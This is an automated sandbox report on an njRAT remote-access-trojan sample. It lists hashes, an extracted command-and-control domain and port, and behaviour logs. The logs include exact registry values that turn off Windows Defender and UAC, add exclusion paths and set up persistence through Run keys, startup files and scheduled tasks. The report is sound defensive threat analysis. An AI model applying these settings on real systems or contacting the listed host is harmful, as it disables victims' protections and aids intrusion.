njrat | 37db478cd1a50883e179c601987b3a5171823aaa9d04063817fa7af57723ffb7

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
27/01/2024, 05:47

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
796ed4b0db9b3d50149b39c35c97fb22.exe
Size 2.8MB
Sample240127-ghd2rseeb2
SHA256 37db478cd1a50883e179c601987b3a5171823aaa9d04063817fa7af57723ffb7
MD5 796ed4b0db9b3d50149b39c35c97fb22
SHA1 154fde51c43d3a8b8f1b96df04f3e97fe4c922a6
SHA512 762989d2993cc2431b50ae9a2847cc3b16bce41c15da9a974dd90c66884ac28b32698edbf9d13b948d7b1f22919278b43e4448710dda2b2489b509bd6ecf00c7
SSDEEP 1536:qfoDCSHH6dNPdeGb0kMzA1UYaER0XBi3IGd0b15grKsYmhUeogKGiGDaLm8G/BaI:O
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

njrat client evasion persistence trojan

Malware Config

Extracted

Family

njrat

Version

0.7.3

Botnet

Client

dontreachme3.ddns.net:3604

Mutex

EdgeBrowser.exe

Attributes

reg_key
EdgeBrowser.exe
splitter
123

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	796ed4b0db9b3d50149b39c35c97fb22.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	796ed4b0db9b3d50149b39c35c97fb22.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	796ed4b0db9b3d50149b39c35c97fb22.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	796ed4b0db9b3d50149b39c35c97fb22.exe

Turns off Windows Defender SpyNet reporting 2 TTPs
evasion

Disable or Modify Tools
T1562.001

Modify Registry
T1112

UAC bypass 3 TTPs 5 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	EdgeBrowser.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	796ed4b0db9b3d50149b39c35c97fb22.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	EdgeBrowser.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	EdgeBrowser.exe

Windows security bypass 2 TTPs 5 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	796ed4b0db9b3d50149b39c35c97fb22.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\796ed4b0db9b3d50149b39c35c97fb22.exe = "0"	796ed4b0db9b3d50149b39c35c97fb22.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe = "0"	796ed4b0db9b3d50149b39c35c97fb22.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files\Common Files\System\ccfP9b0fr9ncIP0szl4Zd59I9922recyNfI908Qw\svchost.exe = "0"	796ed4b0db9b3d50149b39c35c97fb22.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\EdgeBrowser.exe = "0"	EdgeBrowser.exe

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Nirsoft 1 IoCs

resource	yara_rule
behavioral2/files/0x00090000000231e9-14.dat	Nirsoft

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks computer location settings 2 TTPs 7 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	EdgeBrowser.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	796ed4b0db9b3d50149b39c35c97fb22.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	AdvancedRun.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	796ed4b0db9b3d50149b39c35c97fb22.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	EdgeBrowser.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	EdgeBrowser.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe	796ed4b0db9b3d50149b39c35c97fb22.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe	796ed4b0db9b3d50149b39c35c97fb22.exe

Executes dropped EXE 15 IoCs

pid	Process
5100	AdvancedRun.exe
2756	AdvancedRun.exe
868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe
1004	AdvancedRun.exe
3324	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe
3864	EdgeBrowser.exe
4676	AdvancedRun.exe
3460	EdgeBrowser.exe
3652	EdgeBrowser.exe
2716	AdvancedRun.exe
2776	EdgeBrowser.exe
2896	EdgeBrowser.exe
4380	EdgeBrowser.exe
1376	AdvancedRun.exe
5504	EdgeBrowser.exe

Windows security modification 2 TTPs 13 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions	796ed4b0db9b3d50149b39c35c97fb22.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\EdgeBrowser.exe = "0"	EdgeBrowser.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Real-Time Protection	796ed4b0db9b3d50149b39c35c97fb22.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	796ed4b0db9b3d50149b39c35c97fb22.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet\SpyNetReporting = "0"	796ed4b0db9b3d50149b39c35c97fb22.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	796ed4b0db9b3d50149b39c35c97fb22.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe = "0"	796ed4b0db9b3d50149b39c35c97fb22.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files\Common Files\System\ccfP9b0fr9ncIP0szl4Zd59I9922recyNfI908Qw\svchost.exe = "0"	796ed4b0db9b3d50149b39c35c97fb22.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	796ed4b0db9b3d50149b39c35c97fb22.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\796ed4b0db9b3d50149b39c35c97fb22.exe = "0"	796ed4b0db9b3d50149b39c35c97fb22.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet	796ed4b0db9b3d50149b39c35c97fb22.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet\SubmitSamplesConsent = "0"	796ed4b0db9b3d50149b39c35c97fb22.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	796ed4b0db9b3d50149b39c35c97fb22.exe

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7 = "C:\\Program Files\\Common Files\\System\\ccfP9b0fr9ncIP0szl4Zd59I9922recyNfI908Qw\\svchost.exe"	796ed4b0db9b3d50149b39c35c97fb22.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7 = "C:\\Program Files\\Common Files\\System\\ccfP9b0fr9ncIP0szl4Zd59I9922recyNfI908Qw\\svchost.exe"	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7 = "C:\\Program Files\\Common Files\\System\\ccfP9b0fr9ncIP0szl4Zd59I9922recyNfI908Qw\\svchost.exe"	EdgeBrowser.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7 = "C:\\Program Files\\Common Files\\System\\ccfP9b0fr9ncIP0szl4Zd59I9922recyNfI908Qw\\svchost.exe"	EdgeBrowser.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7 = "C:\\Program Files\\Common Files\\System\\ccfP9b0fr9ncIP0szl4Zd59I9922recyNfI908Qw\\svchost.exe"	EdgeBrowser.exe

Checks whether UAC is enabled 1 TTPs 10 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	EdgeBrowser.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	EdgeBrowser.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	EdgeBrowser.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	796ed4b0db9b3d50149b39c35c97fb22.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	EdgeBrowser.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	EdgeBrowser.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	EdgeBrowser.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	796ed4b0db9b3d50149b39c35c97fb22.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 61 IoCs

pid	Process
2320	796ed4b0db9b3d50149b39c35c97fb22.exe
2320	796ed4b0db9b3d50149b39c35c97fb22.exe
2320	796ed4b0db9b3d50149b39c35c97fb22.exe
2320	796ed4b0db9b3d50149b39c35c97fb22.exe
2320	796ed4b0db9b3d50149b39c35c97fb22.exe
2320	796ed4b0db9b3d50149b39c35c97fb22.exe
2320	796ed4b0db9b3d50149b39c35c97fb22.exe
2320	796ed4b0db9b3d50149b39c35c97fb22.exe
2320	796ed4b0db9b3d50149b39c35c97fb22.exe
2320	796ed4b0db9b3d50149b39c35c97fb22.exe
2320	796ed4b0db9b3d50149b39c35c97fb22.exe
2320	796ed4b0db9b3d50149b39c35c97fb22.exe
2320	796ed4b0db9b3d50149b39c35c97fb22.exe
868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe
868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe
868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe
868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe
868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe
868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe
868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe
868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe
868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe
868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe
868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe
868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe
3864	EdgeBrowser.exe
3864	EdgeBrowser.exe
3864	EdgeBrowser.exe
3864	EdgeBrowser.exe
3864	EdgeBrowser.exe
3864	EdgeBrowser.exe
3864	EdgeBrowser.exe
3864	EdgeBrowser.exe
3864	EdgeBrowser.exe
3864	EdgeBrowser.exe
3864	EdgeBrowser.exe
3864	EdgeBrowser.exe
3652	EdgeBrowser.exe
3652	EdgeBrowser.exe
3652	EdgeBrowser.exe
3652	EdgeBrowser.exe
3652	EdgeBrowser.exe
3652	EdgeBrowser.exe
3652	EdgeBrowser.exe
3652	EdgeBrowser.exe
3652	EdgeBrowser.exe
3652	EdgeBrowser.exe
3652	EdgeBrowser.exe
3652	EdgeBrowser.exe
4380	EdgeBrowser.exe
4380	EdgeBrowser.exe
4380	EdgeBrowser.exe
4380	EdgeBrowser.exe
4380	EdgeBrowser.exe
4380	EdgeBrowser.exe
4380	EdgeBrowser.exe
4380	EdgeBrowser.exe
4380	EdgeBrowser.exe
4380	EdgeBrowser.exe
4380	EdgeBrowser.exe
4380	EdgeBrowser.exe

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 2320 set thread context of 5432	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	134
PID 868 set thread context of 3324	868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe	146
PID 3864 set thread context of 3460	3864	EdgeBrowser.exe	192
PID 3652 set thread context of 2896	3652	EdgeBrowser.exe	239
PID 4380 set thread context of 5504	4380	EdgeBrowser.exe	285

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\Common Files\System\ccfP9b0fr9ncIP0szl4Zd59I9922recyNfI908Qw\svchost.exe	796ed4b0db9b3d50149b39c35c97fb22.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\EdgeBrowser.exe	796ed4b0db9b3d50149b39c35c97fb22.exe
File opened for modification	C:\Windows\EdgeBrowser.exe	EdgeBrowser.exe

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3744	sc.exe
2428	sc.exe
5316	sc.exe
1660	sc.exe
5452	sc.exe
2324	sc.exe
3508	sc.exe
4660	sc.exe
4660	sc.exe
3712	sc.exe
564	sc.exe
884	sc.exe
3616	sc.exe
3816	sc.exe
6052	sc.exe
5960	sc.exe
2148	sc.exe
3744	sc.exe
1364	sc.exe
5804	sc.exe
4692	sc.exe
4424	sc.exe
1752	sc.exe
3764	sc.exe
4752	sc.exe
4884	sc.exe
4896	sc.exe
3196	sc.exe
3408	sc.exe
4160	sc.exe
2156	sc.exe
4000	sc.exe
1424	sc.exe
1212	sc.exe
2268	sc.exe
3364	sc.exe
756	sc.exe
3652	sc.exe
1912	sc.exe
2944	sc.exe
6052	sc.exe
1500	sc.exe
928	sc.exe
4160	sc.exe
4424	sc.exe
4796	sc.exe
1800	sc.exe
2804	sc.exe
4884	sc.exe
4160	sc.exe
2428	sc.exe
3512	sc.exe
2268	sc.exe
1212	sc.exe
3196	sc.exe
3108	sc.exe
5304	sc.exe
1760	sc.exe
4448	sc.exe
4736	sc.exe
3860	sc.exe
704	sc.exe
3688	sc.exe
4484	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 5 IoCs

pid	pid_target	Process	procid_target
5836	2320	WerFault.exe	85
5488	868	WerFault.exe	106
1436	3864	WerFault.exe	152
5428	3652	WerFault.exe	199
2128	4380	WerFault.exe	246

Creates scheduled task(s) 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
812	schtasks.exe
5492	schtasks.exe
5864	schtasks.exe
5460	schtasks.exe
2972	schtasks.exe

Delays execution with timeout.exe 5 IoCs

evasion

pid	Process
5752	timeout.exe
2128	timeout.exe
3324	timeout.exe
5748	timeout.exe
5752	timeout.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5100	AdvancedRun.exe
5100	AdvancedRun.exe
5100	AdvancedRun.exe
5100	AdvancedRun.exe
2756	AdvancedRun.exe
2756	AdvancedRun.exe
2756	AdvancedRun.exe
2756	AdvancedRun.exe
2896	powershell.exe
2896	powershell.exe
1376	powershell.exe
1376	powershell.exe
3616	sc.exe
3616	sc.exe
4440	powershell.exe
4440	powershell.exe
1080	powershell.exe
1080	powershell.exe
1360	powershell.exe
1360	powershell.exe
552	powershell.exe
552	powershell.exe
320	powershell.exe
320	powershell.exe
1004	AdvancedRun.exe
1004	AdvancedRun.exe
1004	AdvancedRun.exe
1004	AdvancedRun.exe
1376	powershell.exe
1376	powershell.exe
2896	powershell.exe
2896	powershell.exe
3616	sc.exe
4440	powershell.exe
1080	powershell.exe
1360	powershell.exe
552	powershell.exe
320	powershell.exe
5844	powershell.exe
5844	powershell.exe
5884	powershell.exe
5884	powershell.exe
5928	powershell.exe
5928	powershell.exe
2320	796ed4b0db9b3d50149b39c35c97fb22.exe
2320	796ed4b0db9b3d50149b39c35c97fb22.exe
5996	powershell.exe
5996	powershell.exe
2320	796ed4b0db9b3d50149b39c35c97fb22.exe
2320	796ed4b0db9b3d50149b39c35c97fb22.exe
6088	powershell.exe
6088	powershell.exe
5844	powershell.exe
5928	powershell.exe
5884	powershell.exe
6088	powershell.exe
5996	powershell.exe
868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe
868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe
868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe
4676	AdvancedRun.exe
4676	AdvancedRun.exe
4676	AdvancedRun.exe
4676	AdvancedRun.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5100	AdvancedRun.exe
Token: SeImpersonatePrivilege	5100	AdvancedRun.exe
Token: SeDebugPrivilege	2756	AdvancedRun.exe
Token: SeImpersonatePrivilege	2756	AdvancedRun.exe
Token: SeDebugPrivilege	2896	powershell.exe
Token: SeDebugPrivilege	1376	powershell.exe
Token: SeDebugPrivilege	3616	sc.exe
Token: SeDebugPrivilege	4440	powershell.exe
Token: SeDebugPrivilege	1080	powershell.exe
Token: SeDebugPrivilege	1360	powershell.exe
Token: SeDebugPrivilege	552	powershell.exe
Token: SeDebugPrivilege	320	powershell.exe
Token: SeDebugPrivilege	1004	AdvancedRun.exe
Token: SeImpersonatePrivilege	1004	AdvancedRun.exe
Token: SeDebugPrivilege	5844	powershell.exe
Token: SeDebugPrivilege	5884	powershell.exe
Token: SeDebugPrivilege	5928	powershell.exe
Token: SeDebugPrivilege	2320	796ed4b0db9b3d50149b39c35c97fb22.exe
Token: SeDebugPrivilege	5996	powershell.exe
Token: SeDebugPrivilege	6088	powershell.exe
Token: SeDebugPrivilege	868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe
Token: SeDebugPrivilege	4676	AdvancedRun.exe
Token: SeImpersonatePrivilege	4676	AdvancedRun.exe
Token: SeDebugPrivilege	1580	powershell.exe
Token: SeDebugPrivilege	2508	powershell.exe
Token: SeDebugPrivilege	3456	powershell.exe
Token: SeDebugPrivilege	4316	powershell.exe
Token: SeDebugPrivilege	1240	powershell.exe
Token: SeDebugPrivilege	3864	EdgeBrowser.exe
Token: SeDebugPrivilege	3460	EdgeBrowser.exe
Token: 33	3460	EdgeBrowser.exe
Token: SeIncBasePriorityPrivilege	3460	EdgeBrowser.exe
Token: 33	3460	EdgeBrowser.exe
Token: SeIncBasePriorityPrivilege	3460	EdgeBrowser.exe
Token: SeDebugPrivilege	2716	AdvancedRun.exe
Token: SeImpersonatePrivilege	2716	AdvancedRun.exe
Token: 33	3460	EdgeBrowser.exe
Token: SeIncBasePriorityPrivilege	3460	EdgeBrowser.exe
Token: SeDebugPrivilege	5212	powershell.exe
Token: SeDebugPrivilege	5572	powershell.exe
Token: SeDebugPrivilege	3016	powershell.exe
Token: SeDebugPrivilege	6072	powershell.exe
Token: SeDebugPrivilege	4972	powershell.exe
Token: 33	3460	EdgeBrowser.exe
Token: SeIncBasePriorityPrivilege	3460	EdgeBrowser.exe
Token: SeDebugPrivilege	3652	EdgeBrowser.exe
Token: 33	3460	EdgeBrowser.exe
Token: SeIncBasePriorityPrivilege	3460	EdgeBrowser.exe
Token: 33	3460	EdgeBrowser.exe
Token: SeIncBasePriorityPrivilege	3460	EdgeBrowser.exe
Token: 33	3460	EdgeBrowser.exe
Token: SeIncBasePriorityPrivilege	3460	EdgeBrowser.exe
Token: 33	3460	EdgeBrowser.exe
Token: SeIncBasePriorityPrivilege	3460	EdgeBrowser.exe
Token: 33	3460	EdgeBrowser.exe
Token: SeIncBasePriorityPrivilege	3460	EdgeBrowser.exe
Token: 33	3460	EdgeBrowser.exe
Token: SeIncBasePriorityPrivilege	3460	EdgeBrowser.exe
Token: SeDebugPrivilege	1376	AdvancedRun.exe
Token: SeImpersonatePrivilege	1376	AdvancedRun.exe
Token: SeDebugPrivilege	5300	powershell.exe
Token: SeDebugPrivilege	5408	powershell.exe
Token: SeDebugPrivilege	1504	powershell.exe
Token: SeDebugPrivilege	5700	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2320 wrote to memory of 5100	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	89
PID 2320 wrote to memory of 5100	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	89
PID 2320 wrote to memory of 5100	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	89
PID 5100 wrote to memory of 2756	5100	AdvancedRun.exe	90
PID 5100 wrote to memory of 2756	5100	AdvancedRun.exe	90
PID 5100 wrote to memory of 2756	5100	AdvancedRun.exe	90
PID 2320 wrote to memory of 2896	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	96
PID 2320 wrote to memory of 2896	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	96
PID 2320 wrote to memory of 2896	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	96
PID 2320 wrote to memory of 1376	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	98
PID 2320 wrote to memory of 1376	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	98
PID 2320 wrote to memory of 1376	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	98
PID 2320 wrote to memory of 4440	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	100
PID 2320 wrote to memory of 4440	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	100
PID 2320 wrote to memory of 4440	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	100
PID 2320 wrote to memory of 3616	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	162
PID 2320 wrote to memory of 3616	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	162
PID 2320 wrote to memory of 3616	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	162
PID 2320 wrote to memory of 1080	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	104
PID 2320 wrote to memory of 1080	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	104
PID 2320 wrote to memory of 1080	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	104
PID 2320 wrote to memory of 868	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	106
PID 2320 wrote to memory of 868	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	106
PID 2320 wrote to memory of 868	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	106
PID 2320 wrote to memory of 1360	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	107
PID 2320 wrote to memory of 1360	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	107
PID 2320 wrote to memory of 1360	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	107
PID 2320 wrote to memory of 552	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	112
PID 2320 wrote to memory of 552	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	112
PID 2320 wrote to memory of 552	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	112
PID 2320 wrote to memory of 320	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	110
PID 2320 wrote to memory of 320	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	110
PID 2320 wrote to memory of 320	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	110
PID 868 wrote to memory of 1004	868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe	113
PID 868 wrote to memory of 1004	868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe	113
PID 868 wrote to memory of 1004	868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe	113
PID 2320 wrote to memory of 2404	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	118
PID 2320 wrote to memory of 2404	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	118
PID 2320 wrote to memory of 2404	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	118
PID 4984 wrote to memory of 5452	4984	cmd.exe	121
PID 4984 wrote to memory of 5452	4984	cmd.exe	121
PID 2404 wrote to memory of 5748	2404	cmd.exe	123
PID 2404 wrote to memory of 5748	2404	cmd.exe	123
PID 2404 wrote to memory of 5748	2404	cmd.exe	123
PID 868 wrote to memory of 5844	868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe	124
PID 868 wrote to memory of 5844	868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe	124
